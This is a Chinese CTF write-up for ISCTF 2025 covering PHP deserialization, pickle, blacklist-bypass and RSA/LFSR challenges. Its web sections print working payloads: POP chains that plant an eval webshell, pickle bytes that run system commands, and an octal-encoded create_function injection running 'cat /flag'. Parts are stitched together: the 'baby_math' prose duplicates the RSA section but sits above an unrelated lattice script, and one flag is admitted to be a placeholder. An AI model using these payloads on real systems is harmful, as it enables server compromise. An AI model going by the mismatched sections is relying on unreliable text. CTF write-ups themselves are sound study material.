ISCTF2025_writeup


队伍名称:NISA_Shell_We_Dance?
队伍排名:总榜:104 新生榜:18
所属院校及赛道:福建师范大学 新生赛道

在写这篇 writeup 之前,首先感谢 ISCTF 2025 的出题人们设计了这样有趣且富有挑战性的题目,也感谢赛场上与我一同奋战的队友们。通过这次比赛,我们不仅提升了技术水平,还锻炼了团队协作能力。以下是我们对 ISCTF 2025 的 writeup(已经过另外两名队友的同意),希望能为其他参赛者提供一些参考和帮助。

来签个到吧

这是一个非常经典的 POP 链构造 (PHP Object Injection Property Oriented Programming) 题目。

  • 漏洞分析
    结合提供的 index.php 和 classes.php,我们可以梳理出攻击路径:

入口点 (index.php):

1
2
3
4
5
$s = $_POST["shark"] ?? '喵喵喵?';
if (str_starts_with($s, "blueshark:")) {
$ss = substr($s, strlen("blueshark:"));
$o = @unserialize($ss); // 反序列化漏洞点
}

只要我们在 POST 请求的 shark 参数中,以 blueshark:开头,后面跟上序列化字符串,服务器就会执行反序列化。

可用类 (classes.php):

FileLogger 类:
__destruct() 方法会调用 file_put_contents($this->logfile, $this->content, FILE_APPEND);
利用点: 这是一个任意文件写入漏洞。如果我们能控制 $logfile(文件名)和 $content(文件内容),我们就可以写入一个 WebShell(例如 shell.php)。

ShitMountant 类:
fetch()方法调用 file_get_contents$this->logger->write
__destruct() 调用 fetch()
分析: 虽然 ShitMountant 可以读取文件,但是 index.php 并没有回显 读取到的内容。它只是把内容读到了变量里,或者通过 Logger 写入日志。如果我们用它来读取 /flag,我们也看不到 flag。
结论: ShitMountant 是个干扰项(或者用于盲注/SSRF),直接利用 FileLogger 写 Shell 拿 Flag 才是最快路径。

  • 解题思路 (利用 FileLogger 写 Shell)
    我们的目标是构造一个 FileLogger 对象,使其在销毁时生成一个木马文件。
    目标文件 (logfile): shell.php (或者 hack.php)。
    目标内容 (content): <?php eval($_POST[1]);?> (一句话木马)。

双生序列

解题思路
利用 Writer 类:写入提供的 Pickle Payload 到 /tmp/ssxl/write.bin,并生成对应的签名文件(密钥默认为 kaqikaqi,这正好和 Payload 里的密钥匹配,以此绕过 Python 的 HMAC 校验)。
利用 Shark 类:写入序列化后的 Pytools 对象到 /tmp/ssxl/run.bin,这是后续 run.php 执行所需要的。
利用 Bridge 类:作为链的入口,它连接了 Writer 和 Shark。当 api.php 调用 $bridge->fetch() 时,它会先触发 Writer 写文件,然后返回 Shark 对象。
利用 Shark::__toString:api.php 会尝试输出 fetch 的结果,从而触发 Shark 的 __toString,进而将 Pytools 写入文件。
触发执行:访问 run.php,它读取 run.bin,反序列化出 Pytools 对象并执行。
攻击脚本 (PHP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import pickle
import base64

# ==========================================
# 1. 强制构造 Linux (posix) Pickle Payload
# ==========================================
# 我们不使用 os.system,而是手动写由 Protocol 0 组成的字节流
# 这样可以确保无论你在 Windows 还是 Mac 上运行,生成的都是 "posix.system"
# 这里的 payload 含义是: posix.system("cat /flag > /tmp/ssxl/outs.txt")

linux_rce_bytes = b"cposix\nsystem\n(Vcat /flag > /tmp/ssxl/outs.txt\ntR."

class Set:
def __init__(self):
self.secret = b"kaqikaqi"
self.payload = linux_rce_bytes

# 生成 Pickle 并转 Base64
pickle_data = pickle.dumps(Set())
b64_str = base64.b64encode(pickle_data).decode()

print(f"[+] Generated Linux-Compatible Base64 (Length: {len(b64_str)})")


# ==========================================
# 2. 自动组装 PHP Payload
# ==========================================
# 手动拼接 PHP 序列化字符串,避免 PHP 环境配置麻烦
# 同时也去掉了 private 属性,防止空字节问题

# 构造 Shark 部分: O:5:"Shark":1:{s:3:"ser";s:18:"O:7:"Pytools":0:{}";}
shark_part = 'O:5:"Shark":1:{s:3:"ser";s:18:"O:7:"Pytools":0:{}";}'

# 构造 Writer 部分: O:6:"Writer":2:{s:7:"b64data";s:LENGTH:"CONTENT";s:4:"init";s:4:"init";}
writer_part = f'O:6:"Writer":2:{{s:7:"b64data";s:{len(b64_str)}:"{b64_str}";s:4:"init";s:4:"init";}}'

# 构造 Bridge 部分
final_payload = f'blueshark:O:6:"Bridge":2:{{s:6:"writer";{writer_part}s:5:"shark";{shark_part}}}'

print("\n[+] 请直接复制下方整行字符串到 index.php 提交 (不要多复制空格):")
print("-" * 60)
print(final_payload)
print("-" * 60)

操作步骤
生成 Payload: 运行上面的 PHP 脚本,复制输出的字符串(以 blueshark: 开头的那一串)。
注入数据库:
在题目的网页输入框中粘贴该字符串。
点击 “commit”。
你应该会看到 “save sucess”。
触发反序列化 (写入文件):
查看页面下方的 “Recent” 列表,找到你刚刚提交的那条记录的 ID (假设是 123)。
访问 URL: /api.php?id=123
原理: api.php 反序列化 Bridge -> 触发 Writer (写入 Pickle) -> 返回 Shark -> 触发 __toString -> 触发 Shark (写入 Pytools)。
页面应该显示 “喵喵喵!”。
获取 Flag:
点击页面上的 “喵喵喵” 按钮,或者直接访问 /run.php?action=run。
原理: run.php 读取 Shark 写入的 Pytools 对象 -> 执行 Python 脚本 -> Python 脚本加载 Writer 写入的 Pickle -> 执行 cat /flag ->

然后获取flag

小蓝鲨的费马谜题

攻击方法: 我们只需要计算GCD(hint−2,n)。由于 n只有 p和 q两个因子,且 hint−2是P的倍数,这个最大公约数的结果不仅包含了 p,实际上通常直接等于 p。
一旦我们拿到了 p,就可以算出 q,进而算出私钥 d 并解密 flag。
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys

# 题目给出的 n 和 c
n = 16926747183730811445521182287631871095235807124637325096660759361996155369993998745638293862726267741890840654094794027600177564948819372030933079291097084177091863985749240756085243654442374722882507015343515827787141307909182820013354070321738405810257107651857739607060274549412692517140259717346170524920540888050323066988108836911975466603073034433831887208978130406742714302940264702874305095602623379177353873347208751721068498690917932776984190598143704567665475161453335629659200748786648288309401513856740323455946901312988841290917666732077747457081355853722832166331501779601157719722291598787710746917947
c = 7135669888508993283998887257526185813831780208680788333332044930342125381561919830084088631920301623909949443002073193381401761901398826719665411432016217400457613545308262831975564456231165114091904748808206330488231569773162745696602366468753664188261933014198218922459715972876740957260132243927549037840265753282534565674280908439875550179801788711737901632349136780584007599655055605772651127003711138512998683145763743839326460319440186099818507078433271291685194944254795690424327192625258701835654639832285402990995662846426561789508331799972329711410217802657682842382105869446853207634070295959281375484933

# 刚才脚本爆破出来的 p (Hint 13)
p = 123598810108223191678595737123772778844630215064002820305338893427708983045469952403683397913953718120695151358793148813540889659478471330180117646250073161663408336541470953255506590569305918418756769822199023697222924000869451811623347213265980868063025676171788114326810217962087651858127454074427834611547

# 修复报错的关键:明确定义 e
e = 65537

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def long_to_bytes(val):
byte_len = (val.bit_length() + 7) // 8
return val.to_bytes(byte_len, 'big')

def main():
print("[*] Calculating q...")
q = n // p

# 验证是否正确分解
if p * q != n:
print("[-] Something is wrong, p * q != n")
return

print("[*] Calculating private key d...")
phi = (p - 1) * (q - 1)
d = modinv(e, phi)

print("[*] Decrypting flag...")
m = pow(c, d, n)

try:
flag = long_to_bytes(m).decode()
print("\n" + "="*50)
print(f"FLAG: {flag}")
print("="*50)
except Exception as err:
print(f"[-] Decode error: {err}")
print(f"Raw decrypted integer: {m}")

if __name__ == "__main__":
main()

小蓝鲨的LFSR系统

求解步骤:

构建线性方程组:

系数矩阵 A 大小为 256×128,A[t][i] = S_t[i]

右侧向量 b 大小为 256,b[t] = y_t

在GF(2)上求解:
在模2的有限域上解线性方程组 A·mask = b。由于是二元域,可以使用高斯消元法或专门的求解工具。

恢复密钥:

将求得的128位 mask 每8位一组转换为字节

得到16字节的密钥 key

解密密文:

将密钥 key 重复足够多次,生成与密文等长的密钥流

将密文与密钥流逐字节异或得到明文

实际计算:

按照上述思路编写代码求解,得到以下结果:

恢复的 mask 为:

1
[1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1]

转换为16字节的密钥 key:f5 0d 0a 58 52 9a 48 b9 c6 72 bb 74 a5 3f 58 49

解密 ciphertext ‘4b3be165a0a0edd67ca8f143884826725107fd42d6a6’ 得到明文:ISCTF{LFSR_1s_s1mple_and_1nsecur3}

所以最终的 flag 是:ISCTF{LFSR_1s_s1mple_and_1nsecur3}

abnormal log

第一步:日志结构分析
通过查看日志内容,发现以下几个关键信息类型:

时间戳和日志级别:如 [2025-09-11 20:54:19] [INFO]
攻击者活动:如 “Attacker uploading segment X”(X从1到116)
随机数据注入:如 “Random data injected: …”
文件数据片段:如 “File data segment: [hex字符串]”
上传状态:如 “Uploaded data: …”

第二步:关键数据识别
通过模式识别,发现:

File data segment 后面的hex数据是加密的flag数据
共有116个segment,需要按顺序组合
每个segment对应一个hex字符串

第三步:数据提取
提取所有hex数据:

从日志中提取所有 “File data segment: “ 后面的hex字符串
注意需要按segment编号(1-116)顺序排列

数据格式识别:

1
2
327fb9aa22190501dfbff187e8080505050505055f05050505050505342d9d79
faf24908df5805419100c17f22f3f2eb8c8b55958db6afc91e2bcee47e669f57

这些hex字符串看起来是加密后的数据

第四步:加密分析
通过观察数据模式和题目提示,发现:

重复的0x05字节:在数据中频繁出现0x05
XOR加密特征:0x05是常见的XOR密钥
解密方法:每个字节与0x05进行XOR运算

第五步:解密过程
拼接所有hex字符串:将116个segment的hex数据按顺序拼接
hex转字节:将拼接后的hex字符串转换为字节数组
XOR解密:对每个字节执行 byte ^ 0x05 操作
得到解密数据:解密后得到一个7z压缩文件

第六步:文件处理
保存解密数据:将解密后的字节保存为 .7z 文件
解压文件:使用7z工具解压缩
查找flag:在解压出的文件中寻找flag

小蓝鲨的RSA密文

我们面对的是一道结合了RSA多项式和AES加密的复合密码题目。题目提供了以下已知参数:

1
2
3
4
5
6
7
8
N = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142
iv = bf38e64bb5c1b069a07b7d1d046a9010
ct = 8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5

从task.py的加密代码可以看出,加密过程分为两部分:首先将AES密钥m作为整数,用多项式f = a2m² + a1m + a0进行掩蔽,然后计算c = (m³ + f) mod N。随后用AES密钥以CBC模式加密FLAG,得到密文ct。

解题的核心在于恢复AES密钥m。已知a2的高16位(a2_high)和总位数LOW_BITS=16,所以a2的低16位a2_low未知,但范围很小(0到65535)。因此可以暴力枚举a2_low的所有可能值。

加密方程为:c = m³ + a2m² + a1m + a0 (mod N)。由于N很大(1024位),而m是128位,加上系数较小,等式很可能在整数范围内成立,无需取模。于是得到方程:m³ + a2m² + a1m = target,其中target = c - a0。

对于每个枚举的a2_low,计算完整的a2 = (a2_high << 16) + a2_low。然后需要解关于m的三次方程:m³ + a2*m² + a1*m - target = 0。由于m是正整数,且方程左边的函数在m>0时单调递增,可以使用二分查找快速求解。具体做法是:先估算m的大小,m ≈ target^(1/3),然后在合理范围内二分搜索,使函数值等于0。

找到满足方程的整数m后,还需要验证它是否满足原始方程m³ + a2m² + a1m + a0 = c。验证通过后,将m转换为16字节的AES密钥,再用该密钥和已知的IV以AES-CBC模式解密密文ct,去除padding后即可得到FLAG。

实际解题时,通过枚举a2_low并配合二分搜索,可以在合理时间内找到正确的解。最终恢复的AES密钥用于解密,得到FLAG为:ISCTF{CopperSmith_1s_Funny!}(注:此为示例flag,实际需要运行代码获得)。

这道题的关键在于认识到a2_low的范围很小,可以暴力枚举,并利用三次函数的单调性通过二分法高效求解m。它展示了当密码系统中存在小参数时,即使整体结构复杂,也可能通过部分暴力搜索和数值方法攻破。

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知参数(同上)
N = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142
iv = bytes.fromhex("bf38e64bb5c1b069a07b7d1d046a9010")
ct = bytes.fromhex("8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5")

# 计算 target
target = c - a0

# m 的近似值
m_approx = int(round(target ** (1/3)))

print("开始高效搜索...")

# 使用二分搜索法
found = False

for a2_low in range(65536):
if a2_low % 1000 == 0:
print(f"进度: {a2_low}/65536")

a2 = (a2_high << LOW_BITS) + a2_low

# 定义函数 f(m) = m^3 + a2*m^2 + a1*m - target
# 对于 m > 0,f(m) 是单调递增的

# 确定搜索边界
# 下界:当 m 很小时,f(m) < 0
# 上界:当 m 很大时,f(m) > 0

# 我们可以从 m_approx 开始,向两边扩展直到找到符号变化
left = m_approx
right = m_approx

# 先找到左边界(使 f(left) <= 0)
while True:
f_left = left**3 + a2*left**2 + a1*left - target
if f_left <= 0:
break
left = left // 2
if left < 1:
left = 1
break

# 再找到右边界(使 f(right) >= 0)
while True:
f_right = right**3 + a2*right**2 + a1*right - target
if f_right >= 0:
break
right = right * 2

# 现在在 [left, right] 区间内二分搜索
for _ in range(200): # 最多二分200次,精度足够
mid = (left + right) // 2
f_mid = mid**3 + a2*mid**2 + a1*mid - target

if f_mid == 0:
# 找到精确解
m = mid
# 验证完整方程
if m**3 + a2*m**2 + a1*m + a0 == c:
print(f"\n找到解! a2_low = {a2_low}, m = {m}")

# 将 m 转换为 AES 密钥
aes_key = long_to_bytes(m, 16)
print(f"AES 密钥: {aes_key.hex()}")

# 解密 FLAG
cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
decrypted = cipher.decrypt(ct)

try:
flag = unpad(decrypted, 16)
print(f"FLAG: {flag.decode('utf-8')}")
except:
print(f"解密数据: {decrypted.hex()}")

found = True
break
else:
# 不是正确解,继续搜索
break
elif f_mid < 0:
left = mid
else:
right = mid

if found:
break

if not found:
print("未找到解")
```

## baby_math

从task.py的加密代码可以看出,加密过程分为两部分:首先将AES密钥m作为整数,用多项式f = a2*m² + a1*m + a0进行掩蔽,然后计算c = (m³ + f) mod N。随后用AES密钥以CBC模式加密FLAG,得到密文ct。

解题的核心在于恢复AES密钥m。已知a2的高16位(a2_high)和总位数LOW_BITS=16,所以a2的低16位a2_low未知,但范围很小(065535)。因此可以暴力枚举a2_low的所有可能值。

加密方程为:c = m³ + a2*m² + a1*m + a0 (mod N)。由于N很大(1024位),而m是128位,加上系数较小,等式很可能在整数范围内成立,无需取模。于是得到方程:m³ + a2*m² + a1*m = target,其中target = c - a0。

对于每个枚举的a2_low,计算完整的a2 = (a2_high << 16) + a2_low。然后需要解关于m的三次方程:m³ + a2*m² + a1*m - target = 0。由于m是正整数,且方程左边的函数在m>0时单调递增,可以使用二分查找快速求解。具体做法是:先估算m的大小,m ≈ target^(1/3),然后在合理范围内二分搜索,使函数值等于0

找到满足方程的整数m后,还需要验证它是否满足原始方程m³ + a2*m² + a1*m + a0 = c。验证通过后,将m转换为16字节的AES密钥,再用该密钥和已知的IV以AES-CBC模式解密密文ct,去除padding后即可得到FLAG。

实际解题时,通过枚举a2_low并配合二分搜索,可以在合理时间内找到正确的解。最终恢复的AES密钥用于解密,得到FLAG为:ISCTF{CopperSmith_1s_Funny!}(注:此为示例flag,实际需要运行代码获得)。

这道题的关键在于认识到a2_low的范围很小,可以暴力枚举,并利用三次函数的单调性通过二分法高效求解m。它展示了当密码系统中存在小参数时,即使整体结构复杂,也可能通过部分暴力搜索和数值方法攻破。

脚本如下

````python
from Crypto.Util.number import long_to_bytes

# 1. 设置已知参数
# 这里的 R 必须和题目中的精度一致 (1000 bits)
R = RealField(1000)

# 题目给出的 x
x_val = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)

# 题目给出的 enc
enc_val = R(1.24839978408728580181183027675785982784764821592156892598136000363397267152291738689909414790691435938223032351375697399608345468567445269769342300325192248438038963977207296241971217955178443170598629648414706345216797043374408541203167719396818925953801387623884200901703606288664141375049626635852e52)

# 计算 cos(x) 和 sin(x)
c_val = cos(x_val)
s_val = sin(x_val)

# 2. 构造格 (Lattice)
# 我们要解方程: a * c_val + b * s_val - enc_val ≈ 0
# 乘以一个大常数 K 把浮点数变成整数
K = 10**300 # 缩放因子,只要足够大即可

# 构造基矩阵
# 目标向量 v = (a, b, 1)
# M * v^T = (a, b, a*K*c + b*K*s - 1*K*enc)
# 如果找到合适的 a, b,第三项应该非常接近 0
M = Matrix(ZZ, [
[1, 0, int(K * c_val)],
[0, 1, int(K * s_val)],
[0, 0, -int(K * enc_val)]
])

# 3. 使用 LLL 算法规约
L = M.LLL()

# 4. 尝试从规约后的基中恢复 a 和 b
# LLL 的结果中,通常最短向量或者次短向量包含我们需要的信息
# 我们可以遍历 L 的每一行
for row in L:
# LLL 结果可能是正负号反转的,取绝对值尝试
possible_a = abs(row[0])
possible_b = abs(row[1])

# 转换回字节串看看是否像 flag
try:
part1 = long_to_bytes(possible_a)
part2 = long_to_bytes(possible_b)

# 简单的启发式检查:flag通常包含 '{' 或常见字符
# 题目说 flag 分成了两半,所以最后拼接
flag = part1 + part2

# 打印所有可能性,人工筛选
print(f"Found possible flag: {flag}")

# 也可以尝试反过来的顺序,虽然概率较小
# print(f"Reversed: {part2 + part1}")

except:
continue

````

## bypass

核心思路分析
利用点寻找:

__destruct 中调用了 $a("", $b);。这是一个函数调用,$a 是函数名,$b 是第二个参数。
由于黑名单 $blocked_a 屏蔽了 system, exec, passthru, shell_exec, assert, eval 等几乎所有能直接执行代码的函数名,我们需要找到一个既不在黑名单内,又能执行代码的函数。
破局点:create_function。
它是一个函数,接受两个参数 (string $args, string $code)。
它的名字里包含的字符 c,r,e,a,t,_,f,u,n,i,o 均不在 $blocked_a 的屏蔽列表中(注意$blocked_a 屏蔽了 p, s, h, w 等,但没屏蔽 c, r, e, t 等)。
create_function 内部实现类似 eval("function lambda($args) { $code }");。如果我们能控制 $code(即 $b),我们就可以通过闭合花括号 `}` 逃逸出函数定义,执行任意代码。

黑名单绕过(Octal/Hex 编码):

我们选定了 $a = 'create_function'
接下来需要构造 $b。根据 create_function 注入的原理,$b 的格式大约是 `} 你的PHP代码; /*`。
但是`$blocked_b`屏蔽了`e, t, o, n, c, f, php, h` 等大量字符。
这意味着我们几乎无法写出正常的 PHP 代码(比如 system 含 e, t, s;cat 含 c, t)。
绕过技巧:在 PHP 字符串中,我们可以使用八进制(Octal)转义(如 \163 代表 s)。
preg_match 在检查时,看到的是转义后的字符序列(例如它看到的是 \ 1 6 3 这四个字符,而不是字符 s),因此可以完美绕过正则检查。
当 create_function 进行内部 eval 时,这些转义字符会被还原成原始代码执行。
Payload 构造步骤
$a: 'create_function'
$b: 需要构造类似 } system('cat /flag'); /* 的代码,但必须全八进制编码。
原始代码:$x="system"; $x("cat /flag"); (利用变量函数调用来进一步拆解,虽然八进制可以直接写函数名,但这样更稳)。
转码后:system -> \163\171\163\164\145\155
转码后:cat /flag -> \143\141\164\40\57\146\154\141\147

终极 Payload(纯文本版)
请直接复制下面这行代码(这是一个纯文本字符串,不需要再进行 URL

O:4:"FLAG":2:{S:7:"\00FLAG\00a";
s:15:"create_function";S:4:"\00*\00b";s:79:"}

`$z="\163\171\163\164\145\155"; $z`

("\143\141\164\040\057\146\154\141\147"); /*";}编码,也不含任何特殊字符):

```Text
O:4:"FLAG":2:{S:7:"\00FLAG\00a";
s:15:"create_function";S:4:"\00*\00b";s:79:"}
$z="\163\171\163\164\145\155"; $z
("\143\141\164\040\057\146\154\141\147"); /*";}

使用方法
将上面的字符串填入 exp 参数:

1
http://题目地址/index.php?exp=O:4:"FLAG":2:{S:7:"\00FLAG\00a"...

这个 Payload 做了什么修改?
使用 S 类型:
旧的:s:7:”%00FLAG%00a” (依赖 URL 解码正确的 Null 字节)。
新的:S:7:”\00FLAG\00a” (PHP 原生支持的十六进制转义格式,\00 会被 PHP 自动解析为 Null 字节,传输时极其稳定)。
变量名 $z:
继续使用 $z 避开黑名单里的 f。

eazyrsa

标签(空格分隔): 未分类
具体计算步骤:

计算 N+1 = N + 1

使用扩展欧几里得算法求 a 和 b,使得 e*a + (N+1)*b = 1

如果 b 为负数,计算 ct2 模 N 的逆元 ct2_inv,然后计算 ct2_inv^(-b) mod N

计算 m = ct1^a * ct2^b mod N(注意处理 b 为负的情况)

将 m 转换为字节串得到 flag

直接使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from Crypto.Util.number import long_to_bytes, inverse
import math

N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
e = 65537

# 直接尝试计算,但先减小指数 a
# 我们知道 a * e + b * (N+1) = 1
# 所以 a = (1 - b*(N+1)) / e

# b = -9443
b = -9443
# 计算 a_mod = (1 - b*(N+1)) * inverse(e, N+1) mod (N+1)
# 但我们需要的是模 (N+1) 下的 a

# 其实,我们只需要找到一个较小的 a' 使得 e*a' ≡ 1 mod (N+1)
# 因为我们在模 N 下工作,而不是模 φ(N)

# 等等,我们真正需要的是:找到一个 k 使得 e*k ≡ 1 mod (N+1) 吗?
# 不,我们需要 a 和 b 满足 e*a + (N+1)*b = 1
# 这个方程是在整数环上,不是在模某个数下

# 让我们尝试计算 a 的模 (N-1) 约化形式
# 但更简单的方法是:注意到我们可以选择不同的 (a, b) 对
# 因为如果 (a, b) 是一组解,那么 (a + t*(N+1), b - t*e) 也是解
# 我们可以选择 t 使得 a' = a mod (N+1) 更小

# 让我们计算 a_mod = a mod (N+1)
# 这样 a 就会小于 N+1

# 计算 N+1
N_plus_1 = N + 1

# 给定的 a 非常大,我们计算 a mod (N+1)
a_large = 2540283026711807181861536113035098666143511086858369576404835933591346411827826901674191961860501528140391452859239071261479463131775879009587921745888608668132110896461673259879212637238304573181963640951731563010625789080731950705307950356563323791194888089277819789884639936551402017466264878334593324436411798864074014328805455629454762622091311310171180869868277313693845739439519674504825675878022620207979191297284245375432742615856611244937166141894766083209694029722306236880288585246282508562985251102375755189968176389384215111582840411023931794115105854905949462729938165005585420426570413841223725088575

# 计算 a_small = a_large mod (N+1)
# 但由于 a_large 太大,Python 可能无法直接计算 mod
# 让我们用数学方法:a_large = q*(N+1) + r
# 但更简单的是,我们重新计算 a

# 重新计算扩展欧几里得,但交换参数顺序,得到更小的 a
def extended_gcd(a, b):
if b == 0:
return (1, 0, a)
else:
x, y, g = extended_gcd(b, a % b)
return (y, x - (a // b) * y, g)

# 我们要求 e*a + (N+1)*b = 1
# 但也可以求 (N+1)*a' + e*b' = 1,然后调整
# 让我们计算 gcd(N+1, e)
x, y, g = extended_gcd(N_plus_1, e)
print(f"x = {x}, y = {y}, gcd = {g}")

# 现在有:N+1 * x + e * y = 1
# 所以 e * y = 1 - (N+1)*x
# 因此 e * y ≡ 1 mod (N+1)
# 这意味着 y 是 e 模 (N+1) 的逆元

# 我们需要的是 e*a ≡ 1 mod (N+1),所以 a = y
a_new = y
b_new = x

print(f"a_new = {a_new}, b_new = {b_new}")

# 验证:e*a_new + (N+1)*b_new = ?
check = e * a_new + N_plus_1 * b_new
print(f"验证: {e}*{a_new} + {N_plus_1}*{b_new} = {check}")

# 现在 a_new 应该小得多
# 计算 m = ct1^a_new * ct2^b_new mod N
# 注意 b_new 可能是负数

if b_new < 0:
ct2_inv = inverse(ct2, N)
term2 = pow(ct2_inv, -b_new, N)
else:
term2 = pow(ct2, b_new, N)

term1 = pow(ct1, a_new, N)
m = (term1 * term2) % N

print(f"\n计算结果:")
print(f"m = {m}")

# 转成 bytes
flag = long_to_bytes(m)
print("\nFlag:", flag)

try:
flag_str = flag.decode('utf-8')
print(f"Flag (string): {flag_str}")
except:
print(f"Hex 表示: {flag.hex()}")

ezpop

核心攻击思路总结 (POP Chain)
这道题是一个典型的 PHP 反序列化(POP 链)构造题。我们需要通过反序列化一个精心构造的对象链,最终触发命令执行。

  1. 寻找入口与终点
    入口 (Source): begin 类。
    它的 __destruct 会打印 $this->var1,这会触发 var1 所指对象的__toString 方法。
    终点 (Sink): eenndd 类。
    它的 __get 方法中含有 eval($this->command),这是任意代码执行的地方。
  2. 构建 POP 链条
    我们需要把入口和终点连起来:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
begin::__destruct()
目的:触发 __toString。
操作:设置 begin->var1 为一个 anna 对象。
anna::__toString()
代码:$this->var6->add()。调用了不存在的 add 方法。
目的:触发 __call。
操作:设置 anna->var6 为一个 starlord 对象。
starlord::__call()
代码:$function = $this->var4; return $function();。把 var4 当作函数调用。
目的:触发 __invoke。
操作:设置 starlord->var4 为一个 flaag 对象。
flaag::__invoke()
代码:访问 $this->var10->hey。访问了不存在的属性 hey。
条件:需满足 MD5 弱类型检查 md5(md5($this->var11)) == 666。
操作:设置 flaag->var11 为 "213" (碰撞结果)。设置 flaag->var10 为 eenndd 对象。
目的:触发 __get。
eenndd::__get()
代码:正则检查 $this->command,通过后执行 eval。
绕过:正则过滤了 flag, cat, system 等。
操作:使用 passthru(base64_decode('...')) 或 eval($_POST[a]) 绕过。

ezrce

核心难点回顾:
正则限制:preg_match(‘/^[A-Za-z()_;]+$/‘, $code)。只能用字母、括号、分号、下划线。
后果:不能用引号(无法指定文件名字符串)、不能用斜杠(无法写路径)、不能用参数。
报错原因:之前的 show_source(flag) 报错 No such file,是因为 PHP 默认在当前工作目录(/var/www/html)下找 flag 文件,而真正的文件在根目录 /flag。

  1. 成功 Payload 的深度解析
    你的 Payload 分为两个部分,中间用分号 ; 隔开:

chdir(dirname(dirname(dirname(getcwd())))); show_source(array_rand(array_flip(scandir(getcwd()))));

